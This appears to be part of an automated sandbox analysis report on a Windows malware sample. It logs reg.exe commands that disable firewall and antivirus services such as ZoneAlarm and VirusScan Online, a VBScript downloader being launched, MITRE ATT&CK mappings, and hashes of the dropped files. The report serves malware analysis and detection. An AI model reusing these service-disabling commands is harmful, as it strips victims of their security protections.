      reg add "HKLM\system\controlset001\services\Tiny Personal Firewall" /v Start /t REG_DWORD /d 4 /f
      4⤵
      PID:1988
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\system\controlset002\services\Tiny Personal Firewall" /v Start /t REG_DWORD /d 4 /f
      4⤵
      PID:1632
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\system\currentcontrolset\services\Tiny Personal Firewall" /v Start /t REG_DWORD /d 4 /f
      4⤵
      PID:900
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\system\controlset001\services\TrueVector " /v Start /t REG_DWORD /d 4 /f
      4⤵
      PID:364
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\system\controlset002\services\TrueVector " /v Start /t REG_DWORD /d 4 /f
      4⤵
      PID:1416
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\system\currentcontrolset\services\TrueVector " /v Start /t REG_DWORD /d 4 /f
      4⤵
      PID:824
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\system\controlset001\services\VirusScan Online" /v Start /t REG_DWORD /d 4 /f
      4⤵
      PID:1932
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\system\controlset002\services\VirusScan Online" /v Start /t REG_DWORD /d 4 /f
      4⤵
      PID:2036
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\system\currentcontrolset\services\VirusS can Online" /v Start /t REG_DWORD /d 4 /f
      4⤵
      PID:1688
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\system\controlset001\services\ZoneAlarm" /v Start /t REG_DWORD /d 4 /f
      4⤵
      PID:1704
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\system\controlset002\services\ZoneAlarm" /v Start /t REG_DWORD /d 4 /f
      4⤵
      PID:1072
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\system\currentcontrolset\services\ZoneAl arm" /v Start /t REG_DWORD /d 4 /f
      4⤵
      PID:1432
  - - C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\dl.vbs"
      4⤵
      PID:1088
  - - C:\Windows\SysWOW64\PING.EXE
      PING 127.0.0.1 -n 60
      4⤵
      Runs ping.exe
      PID:692

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Disabling Security Tools

T1089

Modify Registry

T1112

Credential Access

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\159.tmp\b2e.exe

Filesize
62KB

MD5
1f4e38dfb8a47410353a22260c63870c

SHA1
26c4098ccae89670171c80d6d5c530ff368462a9

SHA256
8d01f2e9789ead191a05f0dd25a5db6c5e8e397701ec080bdb0fdab86a732095

SHA512
b4f2b734839835e42a1ea9fd59e018b8380ab65725e34a70706730235a48ac7856ea7c7ed1034d7d28430a5bd8e4c487c5d93918790f24b2efd8cf6343b579dd

Download Submit
C:\Users\Admin\AppData\Local\Temp\159.tmp\b2e.exe

Filesize
62KB

MD5
1f4e38dfb8a47410353a22260c63870c

SHA1
26c4098ccae89670171c80d6d5c530ff368462a9

SHA256
8d01f2e9789ead191a05f0dd25a5db6c5e8e397701ec080bdb0fdab86a732095

SHA512
b4f2b734839835e42a1ea9fd59e018b8380ab65725e34a70706730235a48ac7856ea7c7ed1034d7d28430a5bd8e4c487c5d93918790f24b2efd8cf6343b579dd

Download Submit
C:\Users\Admin\AppData\Local\Temp\2A0.tmp\batfile.bat

Filesize
54KB

MD5
3e0b3c608056055e4332e59f31e626bc

SHA1
38c47ebba8da1403f52ff8b0dd299cf3ff41e32d

SHA256
c84eb811d92d2ff6e7064c847b73ee4688fe561951531e8559da91b330ae0ece

SHA512
b7795e514491675d4fc9dc88e80cd613694d76055f35c5160b4f53f08920f4df6fc14f14ac2f95d86cae323e80893662efcc7db3b5e407cf159beb86c561fd35

Download Submit
C:\Users\Admin\AppData\Local\Temp\dl.vbs

Filesize
834B

MD5
54b3e6509917d44df16c4ccdfaa3fba7

SHA1
b94c42d52537b6229715f4b47bed2318aa74d779

SHA256
8daf8c3658a254ae616da34c7f35ee31e0b71827410fef19b20e579d40bfda01

SHA512
03fe54a0720195d8ba244f5e9ccf300a2621bf4512fe43a5cbd593d60a4b342009e17b1237ca27423be2d3ebb764b25d145eaad3cd595dec2165ff31e2de8028

Download Submit
\Users\Admin\AppData\Local\Temp\159.tmp\b2e.exe

Filesize
62KB

MD5
1f4e38dfb8a47410353a22260c63870c

SHA1
26c4098ccae89670171c80d6d5c530ff368462a9

SHA256
8d01f2e9789ead191a05f0dd25a5db6c5e8e397701ec080bdb0fdab86a732095

SHA512
b4f2b734839835e42a1ea9fd59e018b8380ab65725e34a70706730235a48ac7856ea7c7ed1034d7d28430a5bd8e4c487c5d93918790f24b2efd8cf6343b579dd

Download Submit
\Users\Admin\AppData\Local\Temp\159.tmp\b2e.exe

Filesize
62KB

MD5
1f4e38dfb8a47410353a22260c63870c

SHA1
26c4098ccae89670171c80d6d5c530ff368462a9

SHA256
8d01f2e9789ead191a05f0dd25a5db6c5e8e397701ec080bdb0fdab86a732095

SHA512
b4f2b734839835e42a1ea9fd59e018b8380ab65725e34a70706730235a48ac7856ea7c7ed1034d7d28430a5bd8e4c487c5d93918790f24b2efd8cf6343b579dd

Download Submit
memory/1180-72-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/1724-59-0x0000000000400000-0x0000000000417000-memory.dmp

Filesize
92KB

Download
memory/1724-54-0x0000000074DC1000-0x0000000074DC3000-memory.dmp

Filesize
8KB

Download